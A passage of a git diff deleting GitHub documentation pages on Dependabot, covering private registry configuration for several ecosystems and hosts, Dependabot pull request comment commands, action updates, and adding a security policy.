${{secrets.MY_AZURE_DEVOPS_TOKEN}} -``` - -{% endraw %} - -{% ifversion dependabot-updates-pub-private-registry %} - -### pub - -You can define the private registry configuration in a `dependabot.yml` file using the `pub-repository` type. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#pub-repository). - -{% raw %} - -```yaml copy -registries: - my-pub-registry: - type: pub-repository - url: https://example-private-pub-repo.dev/optional-path - token: ${{secrets.MY_PUB_TOKEN}} -updates: - - package-ecosystem: "pub" - directory: "/" - schedule: - interval: "weekly" - registries: - - my-pub-registry -``` - -{% endraw %} - -#### Notes - -{% data reusables.dependabot.access-private-dependencies-link %} - -pub supports URL and token authentication. The URL used for the registry should match the pub-hosted URL. For more information, see [Hosted Pub Repository Specification Version 2](https://github.com/dart-lang/pub/blob/master/doc/repository-spec-v2.md#hosted-url) in the `github/dart-lang/pub` repository. - -{% data variables.product.prodname_dependabot %} doesn't support overrides to the default package registry. For more information about overrides and why some users may implement them, see [Overriding the default package repository](https://dart.dev/tools/pub/custom-package-repositories#default-override) in the Dart documentation. - -{% endif %} - -### Python - -Supported by Artifactory, Azure Artifacts, Cloudsmith, Nexus, and ProGet. The {% data variables.product.prodname_registry %} registry is not supported. - -The `python-index` type supports username and password, or token. For more information, see `python-index` in [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#python-index). - -{% raw %} - -```yaml copy -registries: - python-example: - type: python-index - url: https://example.com/_packaging/my-feed/pypi/example - username: octocat - password: ${{secrets.MY_BASIC_AUTH_PASSWORD}} -``` - -{% endraw %} - -{% raw %} - -```yaml copy -registries: - python-azure: - type: python-index - url: https://pkgs.dev.azure.com/octocat/_packaging/my-feed/pypi/example - username: octocat@example.com - password: ${{secrets.MY_AZURE_DEVOPS_TOKEN}} -``` - -{% endraw %} -{% raw %} - -```yaml copy -registries: - python-gemfury: - type: python-index - url: https://pypi.fury.io/my_org - token: ${{secrets.MY_GEMFURY_TOKEN}} -``` - -{% endraw %} - -#### Notes - -{% data reusables.dependabot.access-private-dependencies-link %} - -`url` should contain the URL, organization, and the "feed" or repository. - -### Yarn - -The Yarn registry uses a configuration similar to that of the npm registry. For more information, see "`npm-registry`" in [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#npm-registry). - -{% raw %} - -```yaml copy -registries: - yarn-github: - type: npm-registry - url: https://npm.pkg.github.com - token: ${{secrets.MY_GITHUB_PERSONAL_TOKEN}} -``` - -{% endraw %} - -* For private registries, you have to check in a `.yarnrc.yml` file (for Yarn 3) or a `.yarnrc` file (for Yarn Classic). -* The yarn config files should not contain environment variables. -* You should configure private registries listed in the `dependabot.yml` file using `https`. - -#### Yarn Classic - -You can either specify the private registry configuration in the `dependabot.yml` file, or set up Yarn Classic according to the standard package manager instructions. - -##### Defining the private registry configuration in the `dependabot.yml` file - -You can define the private registry configuration in your `dependabot.yml` file. For more information, see [Top-level `registries` key](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#top-level-registries-key). - -To ensure that the private registry is listed as the dependency source in the project's `yarn.lock` file, you need to run `yarn install` on a machine with private registry access. Yarn should update the resolved field to include the private registry URL. - -{% raw %} - -```shell -encoding@^0.1.11: - version "0.1.13" - resolved "https://private_registry_url/encoding/-/encoding-0.1.13.tgz#56574afdd791f54a8e9b2785c0582a2d26210fa9" - integrity sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A== - dependencies: - iconv-lite "^0.6.2" -``` - -{% endraw %} - -##### Following the standard instructions from your package manager - -If the `yarn.lock` file doesn't list the private registry as the dependency source, you can set up Yarn Classic according to the standard package manager instructions. - -1. Define the private registry configuration in the `dependabot.yml` file. -1. You can then either: - * Manually set the private registry to the `.yarnrc` file by adding the registry to a `.yarnrc.yml` file in the project root with the key registry, or - * Perform the same action by running `yarn config set registry <private registry URL>` in your terminal. - - Example of a `.yarnrc` with a private registry defined: - `registry https://nexus.example.com/repository/yarn-all` - -#### Yarn Berry (v3) - -For information on the configuration, see [Settings (.yarnrc.yml)](https://yarnpkg.com/configuration/yarnrc/) in the Yarn documentation. - -As with Yarn Classic, you can either specify the private registry configuration in the `dependabot.yml` file, or set up Yarn Berry according to the package manager instructions. - -##### Defining the private registry configuration in the `dependabot.yml` file - -You can define the private registry configuration in your `dependabot.yml` file. For more information, see [Top-level `registries` key](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#top-level-registries-key). - -To ensure the private registry is listed as the dependency source in the project's `yarn.lock` file, run `yarn install` on a machine with private registry access. Yarn should update the resolved field to include the private registry URL. - -{% raw %} - -```shell -encoding@^0.1.11: - version "0.1.13" - resolved "https://private_registry_url/encoding/-/encoding-0.1.13.tgz#56574afdd791f54a8e9b2785c0582a2d26210fa9" - integrity sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A== - dependencies: - iconv-lite "^0.6.2" -``` - -{% endraw %} - -You can also configure private registries with `npmAuthIdent` or `npmAuthToken`. For more information, see "npmAuthIdent" and "npmAuthToken" in the [Yarn documentation](https://yarnpkg.com/configuration/yarnrc/#npmAuthIdent). - -{% raw %} - -```shell -yarn config set registry <url> -``` - -{% endraw %} - -You can scope the configuration to only cover a single dependency or organization. - -{% raw %} - -```shell -yarn config set @<SCOPE>:registry <url> -``` - -{% endraw %} - -Finally, we recommend you run `yarn login` to verify that your configuration is correct and valid. The lockfile can also be regenerated to use the new private registry by running `yarn install` again. - -##### Following the standard instructions from your package manager - -If the `yarn.lock` file doesn't list the private registry as the dependency source, you can set up Yarn Berry according to the standard package manager instructions. - -1. Define the private registry configuration in the `dependabot.yml` file. -1. You can then either: - * Manually set the private registry to the `.yarnrc` file by adding the registry to a `.yarnrc.yml` file in the project root with the key `npmRegistryServer`, or - * Perform the same action by running `yarn config set npmRegistryServer <private registry URL>` in your terminal. - - Example of a `.yarnrc.yml` file with a private registry configured: - `npmRegistryServer: "https://nexus.example.com/repository/yarn-all"` - - For more information, see [npmRegistryServer](https://yarnpkg.com/configuration/yarnrc#npmRegistryServer) in the Yarn documentation. - -#### Notes - -{% data reusables.dependabot.access-private-dependencies-link %} - -For scoped dependencies (`@my-org/my-dep`), {% data variables.product.prodname_dependabot %} requires that the private registry is defined in the project's `.yarnrc file`. To define private registries for individual scopes, use `@myscope:registry" "https://private_registry_url"`. - -## Configuring private registry hosts - -### Artifactory - -For information about the configuration of Artifactory, see [Configuring Artifactory](https://jfrog.com/help/r/jfrog-artifactory-documentation/configuring-artifactory) in the JFrog Artifactory documentation. - -#### Remote repositories - - Remote repositories serve as a cache for build artifacts and dependencies. Instead of having to reach out to a global dependency repository, your build tool can use the artifactory cache, which will speed up build times. For more information, see [Remote Repositories](https://jfrog.com/help/r/jfrog-artifactory-documentation/remote-repositories) in the JFrog Artifactory documentation. - -If you use the `replace-base` setting, you should also configure a remote repository for Artifactory if you want {% data variables.product.prodname_dependabot %} to access another registry whenever the dependency isn't found in the private registry. - -#### Virtual registry - -You can use a virtual registry to group together all private and public dependencies under a single domain. For more information, see [npm Registry](https://jfrog.com/help/r/jfrog-artifactory-documentation/npm-registry) in the JFrog Artifactory documentation. - -{% ifversion dependabot-updates-reference-private-registries %}{% else %} - -#### Limitations and workarounds - -The `target branch` setting does not work with {% data variables.product.prodname_dependabot_security_updates %} - on Artifactory. If you get a 401 authentication error, you need to remove the `target-branch` property from your `dependabot.yml` file. For more information, see [ARTIFACTORY: Why GitHub Dependabot security updates are failing with 401 Authentication error, when it initiates a connection with Artifactory npm private registry for security updates](https://jfrog.com/help/r/artifactory-why-github-dependabot-security-updates-are-failing-with-401-authentication-error-when-it-initiates-a-connection-with-artifactory-npm-private-registry-for-security-updates/issue-description) in the JFrog Artifactory documentation. -{% endif %} - -### Azure Artifacts - -For information about Azure Artifacts and instructions on how to configure {% data variables.product.prodname_dependabot %} to work with Azure Artifacts, see [Azure DevOps](https://learn.microsoft.com/en-us/azure/devops/artifacts/?view=azure-devops) in the Azure Artifacts documentation, and [Use Dependabot in GitHub with Azure Artifacts](https://josh-ops.com/posts/github-dependabot-with-azure-artifacts/), respectively. - -Example of Azure Artifacts registry: - -{% raw %} - -```yaml copy -registries: - nuget-azure-devops: - type: nuget-feed - url: https://pkgs.dev.azure.com/my_org/_packaging/public/nuget/v3/index.json - token: ${{secrets.AZURE_DEVOPS_TOKEN}} -``` - -{% endraw %} - -The Azure Artifacts password must be an unencoded token and should include a `:` after the token. In addition, the password cannot be base64-encoded. - -You can check whether the private registry is successfully accessed by looking at the {% data variables.product.prodname_dependabot %} logs. - -### Cloudsmith - -For information about Cloudsmith and instructions on how to configure {% data variables.product.prodname_dependabot %} to work with Cloudsmith, see [Getting Started with Cloudsmith](https://help.cloudsmith.io/docs/welcome-to-cloudsmith-docs) and [Integrate {% data variables.product.company_short %} {% data variables.product.prodname_dependabot %} with Cloudsmith](https://help.cloudsmith.io/docs/dependabot) in the Cloudsmith documentation. - -### {% data variables.product.prodname_registry %} registry - -For information about {% data variables.product.prodname_registry %} registries, see [AUTOTITLE](/packages/working-with-a-github-packages-registry). From that article, you can access pages describing how to configure the following registries. - -* Bundler (rubygems) -* Docker (containers) -* {% data variables.product.prodname_actions %} -* Gradle -* Maven -* Npm -* NuGet -* Yarn - -{% raw %} - -```yaml copy -registries: - github: - type: npm-registry - url: https://npm.pkg.github.com - token: ${{ secrets.<token> }} -``` - -{% endraw %} - -#### Notes - -There is no Python container registry. - -For private registries that are scoped to a particular organization, {% data variables.product.prodname_dependabot %} expects the URL to include the organization name in the `dependabot.yml` file. - -### Nexus - -For information about the configuration of Nexus, see [Repository Manager 3](https://help.sonatype.com/repomanager3) in the Sonatype documentation. - -#### Notes - -With Nexus Repository Pro, you can enable user tokens. For more information, see [User Tokens](https://help.sonatype.com/repomanager3/nexus-repository-administration/user-authentication/user-tokens) in the Sonatype documentation. - -Example of Nexus registry: - -{% raw %} - -```yaml copy -registries: - npm-nexus: - type: npm-registry - url: https://registry.example.com/repository/npm-internal/ - token: ${{secrets.NEXUS_NPM_TOKEN}} -``` - -{% endraw %} - -If you are running Nexus behind a reverse proxy, you need to ensure that the server is accessible using an Auth token by using `curl -v -H 'Authorization: Bearer <token>' 'https://<nexus-repo-url>/repository/<repo-name>/@<scope>%2<package>'`. For more information, see [Run Behind a Reverse Proxy](https://help.sonatype.com/repomanager3/planning-your-implementation/run-behind-a-reverse-proxy) in the Sonatype documentation. - -If you are restricting which IPs can reach your Nexus host, you need to add the {% data variables.product.prodname_dependabot %} IPs to the allowlist. - * You can find the IP addresses {% data variables.product.prodname_dependabot %} uses to access the registry in the meta API endpoint, under the dependabot key. For more information, see [AUTOTITLE](/rest/meta). - * These are the current IPs: - * "18.213.123.130/32" - * "3.217.79.163/32" - * "3.217.93.44/32" -For more information, see [Securing Nexus Repository Manager](https://help.sonatype.com/repomanager3/planning-your-implementation/securing-nexus-repository-manager) in the Sonatype documentation. - - Registries can be proxied to reach out to a public registry in case a dependency is not available in the private registry. However, you may want {% data variables.product.prodname_dependabot %} to only access the private registry and not access the public registry at all. For more information, see [Quick Start Guide - Proxying Maven and NPM](https://help.sonatype.com/repomanager3/planning-your-implementation/quick-start-guide---proxying-maven-and-npm) in the Sonatype documentation, and [AUTOTITLE](/code-security/dependabot/maintain-dependencies/removing-dependabot-access-to-public-registries). - -### ProGet - -For information about ProGet and instructions on how to configure {% data variables.product.prodname_dependabot %} to work with feeds in ProGet, see the [ProGet documentation](https://docs.inedo.com/docs/proget-overview). - -Example of ProGet registry configuration for a NuGet feed: - -{% raw %} - -```yaml copy -registries: - proget-nuget-feed: - type: nuget-feed - url: https://proget.corp.local/nuget/MyNuGetFeed/v3/index.json - token: ${{secrets.PROGET_APK_KEY}} -``` - -{% endraw %} - -Example of ProGet registry configuration for Bundler (rubygems): - -{% raw %} - -```yaml copy -registries: - proget-gems-feed: - type: rubygems-server - url: https://proget.corp.local/rubygems/MyRubygemsFeed - token: ${{secrets.PROGET_APK_KEY}} -``` - -{% endraw %} - -Example of ProGet registry configuration for Python (PyPI): - -{% raw %} - -```yaml copy -registries: - proget-python-feed: - type: python-index - url: https://proget.corp.local/pypi/MyPythonFeed - token: ${{secrets.PROGET_APK_KEY}} -``` - -{% endraw %} - -#### Notes - -The `token` should be an API Key with access to view packages. For more information, see [API Access and API Keys](https://docs.inedo.com/docs/buildmaster-administration-security-api-keys) in the ProGet documentation. - -You can check whether the private registry is successfully accessed by looking at the {% data variables.product.prodname_dependabot %} logs. diff --git a/content/code-security/dependabot/working-with-dependabot/index.md b/content/code-security/dependabot/working-with-dependabot/index.md deleted file mode 100644 index 168fdf6dfd63..000000000000 --- a/content/code-security/dependabot/working-with-dependabot/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Working with Dependabot -shortTitle: Work with Dependabot -intro: 'Guidance and recommendations for working with {% data variables.product.prodname_dependabot %}, such as managing pull requests raised by {% data variables.product.prodname_dependabot %}, using {% data variables.product.prodname_actions %} with {% data variables.product.prodname_dependabot %}, and troubleshooting {% data variables.product.prodname_dependabot %} errors.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Repositories - - Dependabot - - Version updates - - Security updates - - Dependencies - - Pull requests -children: - - /managing-pull-requests-for-dependency-updates - - /about-dependabot-on-github-actions-runners - - /automating-dependabot-with-github-actions - - /keeping-your-actions-up-to-date-with-dependabot - - /configuring-access-to-private-registries-for-dependabot - - /guidance-for-the-configuration-of-private-registries-for-dependabot - - /dependabot-options-reference ---- diff --git a/content/code-security/dependabot/working-with-dependabot/keeping-your-actions-up-to-date-with-dependabot.md b/content/code-security/dependabot/working-with-dependabot/keeping-your-actions-up-to-date-with-dependabot.md deleted file mode 100644 index ee3124491815..000000000000 --- a/content/code-security/dependabot/working-with-dependabot/keeping-your-actions-up-to-date-with-dependabot.md +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Keeping your actions up to date with Dependabot -intro: 'You can use {% data variables.product.prodname_dependabot %} to keep the actions you use updated to the latest versions.' -permissions: '{% data reusables.permissions.dependabot-yml-configure %}' -redirect_from: - - /github/administering-a-repository/keeping-your-actions-up-to-date-with-github-dependabot - - /github/administering-a-repository/keeping-your-actions-up-to-date-with-dependabot - - /code-security/supply-chain-security/keeping-your-actions-up-to-date-with-dependabot - - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Repositories - - Dependabot - - Version updates - - Actions -shortTitle: Auto-update actions ---- - -{% data reusables.dependabot.enterprise-enable-dependabot %} - -## About {% data variables.product.prodname_dependabot_version_updates %} for actions - -Actions are often updated with bug fixes and new features to make automated processes more reliable, faster, and safer. When you enable {% data variables.product.prodname_dependabot_version_updates %} for {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dependabot %} will help ensure that references to actions in a repository's _workflow.yml_ file and reusable workflows used inside workflows are kept up to date. - -For each action in the file, {% data variables.product.prodname_dependabot %} checks the action's reference (typically a version number or commit identifier associated with the action) against the latest version. For information about how action creators version their actions, see [Using release management for your custom actions](/actions/learn-github-actions/finding-and-customizing-actions#using-release-management-for-your-custom-actions). - -If a more recent version of the action is available, {% data variables.product.prodname_dependabot %} will send you a pull request that updates the reference in the workflow file to the latest version. For more information about {% data variables.product.prodname_dependabot_version_updates %}, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates). For more information about configuring workflows for {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/learn-github-actions). - -{% data variables.product.prodname_dependabot %} also checks workflow files for uses of reusable workflows, and updates the git reference for these called reusable workflows. For more information about reusable workflows, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). - -{% ifversion fpt or ghec %} - -> [!NOTE] -> {% data reusables.actions.workflow-runs-dependabot-note %} - -{% endif %} - -## Enabling {% data variables.product.prodname_dependabot_version_updates %} for actions - -You can configure {% data variables.product.prodname_dependabot_version_updates %} to maintain your actions as well as the libraries and packages you depend on. - -1. If you have already enabled {% data variables.product.prodname_dependabot_version_updates %} for other ecosystems or package managers, simply open the existing `dependabot.yml` file. Otherwise, create a `dependabot.yml` configuration file in the `.github` directory of your repository. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates#enabling-dependabot-version-updates). -1. Specify `"github-actions"` as a `package-ecosystem` to monitor. -1. Set the `directory` to `"/"` to check for workflow files in `.github/workflows`. -1. Set a `schedule.interval` to specify how often to check for new versions. -{% data reusables.dependabot.check-in-dependabot-yml %} If you have edited an existing file, save your changes. - -You can also enable {% data variables.product.prodname_dependabot_version_updates %} on forks. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates#enabling-version-updates-on-forks). - -### Example `dependabot.yml` file for {% data variables.product.prodname_actions %} - -The example `dependabot.yml` file below configures version updates for {% data variables.product.prodname_actions %}. The `directory` must be set to `"/"` to check for workflow files in `.github/workflows`. The `schedule.interval` is set to `"weekly"`. After this file has been checked in or updated, {% data variables.product.prodname_dependabot %} checks for new versions of your actions. {% data variables.product.prodname_dependabot %} will raise pull requests for version updates for any outdated actions that it finds. After the initial version updates, {% data variables.product.prodname_dependabot %} will continue to check for outdated versions of actions once a week. - -```yaml copy -# Set update schedule for GitHub Actions - -version: 2 -updates: - - - package-ecosystem: "github-actions" - directory: "/" - schedule: - # Check for updates to GitHub Actions every week - interval: "weekly" -``` - -## Configuring {% data variables.product.prodname_dependabot_version_updates %} for actions - -When enabling {% data variables.product.prodname_dependabot_version_updates %} for actions, you must specify values for `package-ecosystem`, `directory`, and `schedule.interval`. There are many more optional properties that you can set to further customize your version updates. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/dependabot-options-reference). - -## Further reading - -* [AUTOTITLE](/actions/learn-github-actions) diff --git a/content/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates.md b/content/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates.md deleted file mode 100644 index d607d97b90ab..000000000000 --- a/content/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates.md +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Managing pull requests for dependency updates -intro: 'You manage pull requests raised by {% data variables.product.prodname_dependabot %} in much the same way as other pull requests, but there are some extra options.' -permissions: '{% data reusables.permissions.dependabot-various-tasks %}' -redirect_from: - - /github/administering-a-repository/managing-pull-requests-for-dependency-updates - - /code-security/supply-chain-security/managing-pull-requests-for-dependency-updates - - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Repositories - - Version updates - - Security updates - - Pull requests - - Dependencies - - Vulnerabilities -shortTitle: Manage Dependabot PRs ---- - -{% data reusables.dependabot.enterprise-enable-dependabot %} - -## About {% data variables.product.prodname_dependabot %} pull requests - -{% data reusables.dependabot.pull-request-introduction %} - -When {% data variables.product.prodname_dependabot %} raises a pull request, you're notified by your chosen method for the repository. Each pull request contains detailed information about the proposed change, taken from the package manager. These pull requests follow the normal checks and tests defined in your repository. -{% ifversion fpt or ghec %}In addition, where enough information is available, you'll see a compatibility score. This may also help you decide whether or not to merge the change. For information about this score, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates).{% endif %} - -If you have many dependencies to manage, you may want to customize the configuration for each package manager so that pull requests have specific reviewers, assignees, and labels. You may also want to group sets of dependencies together, so that multiple dependencies are updated in a single pull request. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/customizing-dependabot-prs){% ifversion dependabot-grouped-security-updates-config %} and [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates#grouping-dependabot-updates-into-a-single-pull-request).{% else %} and [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates#grouping-dependabot-security-updates-into-a-single-pull-request).{% endif %} - -> [!NOTE] -> If you don't interact with {% data variables.product.prodname_dependabot %} pull requests for a repository during a 90-day time period, {% data variables.product.prodname_dependabot %} considers your repository as inactive, and will automatically pause {% data variables.product.prodname_dependabot_updates %}. For more information about inactivity criteria, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates#about-automatic-deactivation-of-dependabot-updates) and [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates#about-automatic-deactivation-of-dependabot-updates). - -## Viewing {% data variables.product.prodname_dependabot %} pull requests - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-pr %} -1. Any pull requests for security or version updates are easy to identify. - * The author is {% ifversion fpt or ghec %}[dependabot](https://github.com/dependabot){% else %}dependabot{% endif %}, the bot account used by {% data variables.product.prodname_dependabot %}. - * By default, they have the `dependencies` label. - -## Changing the rebase strategy for {% data variables.product.prodname_dependabot %} pull requests - -By default, {% data variables.product.prodname_dependabot %} automatically rebases pull requests to resolve any conflicts. {% data reusables.dependabot.pull-requests-30-days-cutoff %} If you'd prefer to handle merge conflicts manually, you can disable this using the `rebase-strategy` option. For details, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#rebase-strategy). - -## Allowing {% data variables.product.prodname_dependabot %} to rebase and force push over extra commits - -By default, {% data variables.product.prodname_dependabot %} will stop rebasing a pull request once extra commits have been pushed to it. To allow {% data variables.product.prodname_dependabot %} to force push over commits added to its branches, include any of the following strings: `[dependabot skip]` , `[skip dependabot]`, `[dependabot-skip]`, or `[skip-dependabot]`, in either lower or uppercase, to the commit message. - -## Managing {% data variables.product.prodname_dependabot %} pull requests with comment commands - -{% data variables.product.prodname_dependabot %} responds to simple commands in comments. Each pull request contains details of the commands you can use to process the pull request (for example: to merge, squash, reopen, close, or rebase the pull request) under the "{% data variables.product.prodname_dependabot %} commands and options" section. The aim is to make it as easy as possible for you to triage these automatically generated pull requests. - -You can use any of the following commands on a {% data variables.product.prodname_dependabot %} pull request. - -* `@dependabot cancel merge` cancels a previously requested merge. -* `@dependabot close` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from recreating that pull request. You can achieve the same result by closing the pull request manually. -* `@dependabot ignore this dependency` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from creating any more pull requests for this dependency (unless you reopen the pull request or upgrade to the suggested version of the dependency yourself). -* `@dependabot ignore this major version` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from creating any more pull requests for this major version (unless you reopen the pull request or upgrade to this major version yourself). -* `@dependabot ignore this minor version` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from creating any more pull requests for this minor version (unless you reopen the pull request or upgrade to this minor version yourself). -* `@dependabot ignore this patch version` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from creating any more pull requests for this patch version (unless you reopen the pull request or upgrade to this patch version yourself). -* `@dependabot merge` merges the pull request once your CI tests have passed. -* `@dependabot rebase` rebases the pull request. -* `@dependabot recreate` recreates the pull request, overwriting any edits that have been made to the pull request. -* `@dependabot reopen` reopens the pull request if the pull request is closed. -* `@dependabot show DEPENDENCY_NAME ignore conditions` retrieves information on the ignore conditions for the specified dependency, and comments on the pull request with a table that displays all ignore conditions for the dependency. For example, `@dependabot show express ignore conditions` would find all `ignore` conditions stored for the Express dependency, and comment on the pull request with that information. -* `@dependabot squash and merge` squashes and merges the pull request once your CI tests have passed. - -{% data variables.product.prodname_dependabot %} will react with a "thumbs up" emoji to acknowledge the command, and may respond with a comment on the pull request. While {% data variables.product.prodname_dependabot %} usually responds quickly, some commands may take several minutes to complete if {% data variables.product.prodname_dependabot %} is busy processing other updates or commands. - -If you run any of the commands for ignoring dependencies or versions, {% data variables.product.prodname_dependabot %} stores the preferences for the repository centrally. While this is a quick solution, for repositories with more than one contributor it is better to explicitly define the dependencies and versions to ignore in the configuration file. This makes it easy for all contributors to see why a particular dependency isn't being updated automatically. - -For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#ignore). - -{% ifversion dependabot-grouped-security-updates-config %} - -### Managing {% data variables.product.prodname_dependabot %} pull requests for grouped updates with comment commands - -In {% data variables.product.prodname_dependabot %} pull requests for grouped version updates and security updates, you can use comment commands to ignore and un-ignore updates for specific dependencies and versions. You can use any of the following commands to manage ignore conditions for grouped updates. - -* `@dependabot ignore DEPENDENCY_NAME` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from updating this dependency. -* `@dependabot ignore DEPENDENCY_NAME major version` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from updating this dependency's major version. -* `@dependabot ignore DEPENDENCY_NAME minor version` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from updating this dependency's minor version. -* `@dependabot ignore DEPENDENCY_NAME patch version` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from updating this dependency's patch version. -* `@dependabot unignore *` closes the current pull request, clears all `ignore` conditions stored for all dependencies in the group, then opens a new pull request. -* `@dependabot unignore DEPENDENCY_NAME` closes the current pull request, clears all `ignore` conditions stored for the dependency, then opens a new pull request that includes available updates for the specified dependency. For example, `@dependabot unignore lodash` would open a new pull request that includes updates for the Lodash dependency. -* `@dependabot unignore DEPENDENCY_NAME IGNORE_CONDITION` closes the current pull request, clears the stored `ignore` condition, then opens a new pull request that includes available updates for the specified ignore condition. For example, `@dependabot unignore express [< 1.9, > 1.8.0]` would open a new pull request that includes updates for Express between versions 1.8.0 and 1.9.0. - -> [!TIP] -> When you want to un-ignore a specific ignore condition, use the `@dependabot show DEPENDENCY_NAME ignore conditions` command to quickly check what ignore conditions a dependency currently has. - -{% else %} - -### Managing {% data variables.product.prodname_dependabot %} pull requests for grouped version updates with comment commands - -In {% data variables.product.prodname_dependabot %} pull requests for grouped version updates, you can use comment commands to ignore and un-ignore updates for specific dependencies and versions. You can use any of the following commands to manage ignore conditions for grouped version updates. - -> [!NOTE] -> The following comment commands do not work for grouped {% data variables.product.prodname_dependabot_security_updates %}. - -* `@dependabot ignore DEPENDENCY_NAME` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from updating this dependency. -* `@dependabot ignore DEPENDENCY_NAME major version` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from updating this dependency's major version. -* `@dependabot ignore DEPENDENCY_NAME minor version` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from updating this dependency's minor version. -* `@dependabot ignore DEPENDENCY_NAME patch version` closes the pull request and prevents {% data variables.product.prodname_dependabot %} from updating this dependency's patch version. -* `@dependabot unignore *` closes the current pull request, clears all `ignore` conditions stored for all dependencies in the group, then opens a new pull request. -* `@dependabot unignore DEPENDENCY_NAME` closes the current pull request, clears all `ignore` conditions stored for the dependency, then opens a new pull request that includes available version updates for the specified dependency. For example, `@dependabot unignore lodash` would open a new pull request that includes version updates for the Lodash dependency. -* `@dependabot unignore DEPENDENCY_NAME IGNORE_CONDITION` closes the current pull request, clears the stored `ignore` condition, then opens a new pull request that includes available version updates for the specified ignore condition. For example, `@dependabot unignore express [< 1.9, > 1.8.0]` would open a new pull request that includes version updates for Express between versions 1.8.0 and 1.9.0. - -> [!TIP] -> When you want to un-ignore a specific ignore condition, use the `@dependabot show DEPENDENCY_NAME ignore conditions` command to quickly check what ignore conditions a dependency currently has. - -{% endif %} diff --git a/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md b/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md deleted file mode 100644 index 37500ae21949..000000000000 --- a/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Adding a security policy to your repository -intro: You can give instructions for how to report a security vulnerability in your project by adding a security policy to your repository. -redirect_from: - - /articles/adding-a-security-policy-to-your-repository - - /github/managing-security-vulnerabilities/adding-a-security-policy-to-your-repository - - /github/code-security/security-advisories/adding-a-security-policy-to-your-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Security policies - - Vulnerabilities - - Repositories - - Health -shortTitle: Add a security policy ---- - -## About security policies - -To give people instructions for reporting security vulnerabilities in your project, you can add a `SECURITY.md` file to your repository's root, `docs`, or `.github` folder. Adding this file to this part(s) of your repository automatically creates a row with a description where people can review it. When someone creates an issue in your repository, they will see a link to your project's security policy. - -You can create a default security policy for your organization or personal account. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file). - -> [!TIP] -> To help people find your security policy, you can link to your `SECURITY.md` file from other places in your repository, such as your `README` file. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes). - -{% ifversion fpt or ghec %} -After someone reports a security vulnerability in your project, you can use {% data variables.product.prodname_security_advisories %} to disclose, fix, and publish information about the vulnerability. For more information about the process of reporting and disclosing vulnerabilities in {% data variables.product.prodname_dotcom %}, see [AUTOTITLE](/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/about-coordinated-disclosure-of-security-vulnerabilities#about-reporting-and-disclosing-vulnerabilities-in-projects-on-github). For more information about repository security advisories, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories). - -{% data reusables.repositories.github-security-lab %} -{% endif %} -{% ifversion ghes %} -<!-- alternative to the content about GitHub Security Advisories in the dotcom article --> -By making security reporting instructions clearly available, you make it easy for your users to report any security vulnerabilities they find in your repository using your preferred communication channel. -{% endif %} - -For an example of a real `SECURITY.md` file, see 